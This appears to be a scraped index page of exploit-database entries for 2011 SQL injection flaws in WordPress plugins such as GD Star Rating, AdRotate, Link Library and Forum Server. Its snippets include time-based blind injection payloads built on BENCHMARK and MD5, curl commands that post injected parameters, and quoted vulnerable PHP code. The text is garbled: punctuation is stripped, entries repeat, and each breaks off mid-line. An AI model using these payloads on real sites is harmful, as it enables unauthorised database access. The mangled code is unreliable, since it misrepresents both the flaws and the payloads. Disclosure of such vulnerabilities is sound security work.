WordPress IP-Logger Plugin <= 3.0 - SQL Injection Vulnerability

No description provided by source. Exploit Title: WordPress IP-Logger plugin = 3.0 SQL Injection Vulnerability Date: 2011-08-16 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/ip-logger.3.0.zip Version: 3.0 tested --- PoC ---...

WordPress SearchAutocomplete plugin <= 1.0.8 - SQL Injection Vulnerability

No description provided by source. Exploit Title: WordPress SearchAutocomplete plugin = 1.0.8 SQL Injection Vulnerability Date: 2011-09-01 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/search-autocomplete.zip Version: 1.0.8...

WordPress Tune Library plugin <= 2.17 SQL Injection Vulnerability

No description provided by source. Exploit Title: WordPress Tune Library plugin = 2.17 SQL Injection Vulnerability Date: 2011-09-10 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/tune-library.zip Version: 1.5.1 tested Notes:...

WordPress SH Slideshow plugin <= 3.1.4 - SQL Injection Vulnerability

No description provided by source. Exploit Title: WordPress SH Slideshow plugin = 3.1.4 SQL Injection Vulnerability Date: 2011-08-29 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/sh-slideshow.3.1.4.zip Version: 3.1.4 tested...

WordPress A to Z Category Listing plugin <= 1.3 - SQL Injection Vulnerability

No description provided by source. Exploit Title: WordPress A to Z Category Listing plugin = 1.3 SQL Injection Vulnerability Date: 2011-09-09 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/a-to-z-category-listing.zip Version: 1....

WordPress Advertizer plugin <= 1.0 - SQL Injection Vulnerability

No description provided by source. Exploit Title: WordPress Advertizer plugin = 1.0 SQL Injection Vulnerability Date: 2011-08-29 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/advertizer.1.0.zip Version: 1.0 tested Note:...

WordPress Couponer plugin <= 1.2 - SQL Injection

No description provided by source. Exploit Title: WordPress Couponer plugin = 1.2 SQL Injection Vulnerability Date: 2011-08-31 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/couponer.zip Version: 1.2 tested Note: magicquotes has...

WordPress ProPlayer plugin <= 4.7.7 - SQL Injection Vulnerability

No description provided by source. Exploit Title: ProPlayer plugin = 4.7.7 SQL Injection Vulnerability Date: 2011-08-05 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/proplayer.4.7.7.zip Version: 4.7.7 tested --- PoC ---...

WordPress Facebook Promotions plugin <= 1.3.3 - SQL Injection Vulnerability

No description provided by source. Exploit Title: WordPress Facebook Promotions plugin = 1.3.3 SQL Injection Vulnerability Date: 2011-08-28 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/fbpromotions.1.3.3.zip Version: 1.3.3...

WordPress GD Star Rating plugin &lt;= 1.9.10 SQL Injection

No description provided by source. Exploit Title: WordPress GD Star Rating plugin = 1.9.10 SQL Injection Vulnerability Date: 2011-09-26 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/gd-star-rating.zip Version: 1.9.10 tested Not...

WordPress Plugin GD Star Rating 1.9.10 - SQL Injection

WordPress Plugin GD Star Rating 1.9.10 - SQL Injection Exploit Title: WordPress GD Star Rating plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20 --------------- Vulnerable code --------------- ./export.php requireonce"./code/cls/export.php"; ... if isset$GET"ex" $exporttype = $GET"ex...

WordPress GD Star Rating plugin <= 1.9.10 SQL Injection

Exploit for php platform in category web applications Exploit Title: WordPress GD Star Rating plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20 --------------- Vulnerable code --------------- ./export.php requireonce"./code/cls/export.php"; ... if isset$GET"ex" $exporttype = $GET"ex"...

WordPress Plugin Bannerize 2.8.7 - SQL Injection

Exploit Title: WordPress WP Bannerize plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0 e.g. curl --data "limit=1&offset=1&item=-1 AND 1=IF21,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0" -H "X-Requested-With:XMLHttpRequest"...

WordPress Plugin AdRotate 3.6.5 - SQL Injection

WordPress Plugin AdRotate 3.6.5 - SQL Injection Exploit Title: WordPress AdRotate plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0%23 --------------- Vulnerable code --------------- ifisset$GET'track' OR $GET'track' != '' $meta = urldecode$GET'track'; ... list$ad, $group, $block =...

WordPress AdRotate 3.6.5 SQL Injection

Exploit Title: WordPress AdRotate plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0%23 --------------- Vulnerable code --------------- ifisset$GET'track' OR $GET'track' != '' $meta = urldecode$GET'track'; ... list$ad, $group, $block = explode"-", $meta; ... $bannerurl = $wpdb-getvar"SELEC...

WordPress Plugin Link Library 5.2.1 - SQL Injection

WordPress Plugin Link Library 5.2.1 - SQL Injection Exploit Title: WordPress Link Library plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0%23 --------------- Vulnerable code --------------- ./link-library-ajax.php: echo $mylinklibraryplugin-LinkLibrary...; ./link-library.php: class...

WordPress Plugin Link Library 5.2.1 - SQL Injection

Exploit Title: WordPress Link Library plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0%23 --------------- Vulnerable code --------------- ./link-library-ajax.php: echo $mylinklibraryplugin-LinkLibrary...; ./link-library.php: class linklibraryplugin ... function LinkLibrary... return...

WordPress Plugin Count per Day 2.17 - SQL Injection

Exploit Title: WordPress Count per Day plugin getresults'SELECT FROM '.$tableprefix.'cpdnotes WHERE 1 '.$where.' ORDER BY date DESC', ARRAYA;...

WordPress Count per Day plugin <= 2.17 SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: WordPress Count per Day plugin getresults'SELECT FROM '.$tableprefix.'cpdnotes WHERE 1 '.$where.' ORDER BY date DESC', ARRAYA; 0day.today 2018-02-16...

WordPress Plugin Forum Server 1.7 - SQL Injection

WordPress Plugin Forum Server 1.7 - SQL Injection Exploit Title: WordPress WP Forum Server plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20&editpostsubject=test&message=dummy&threadid=1 e.g. curl --data "editpostsubmit=1&editpostid=-1 AND...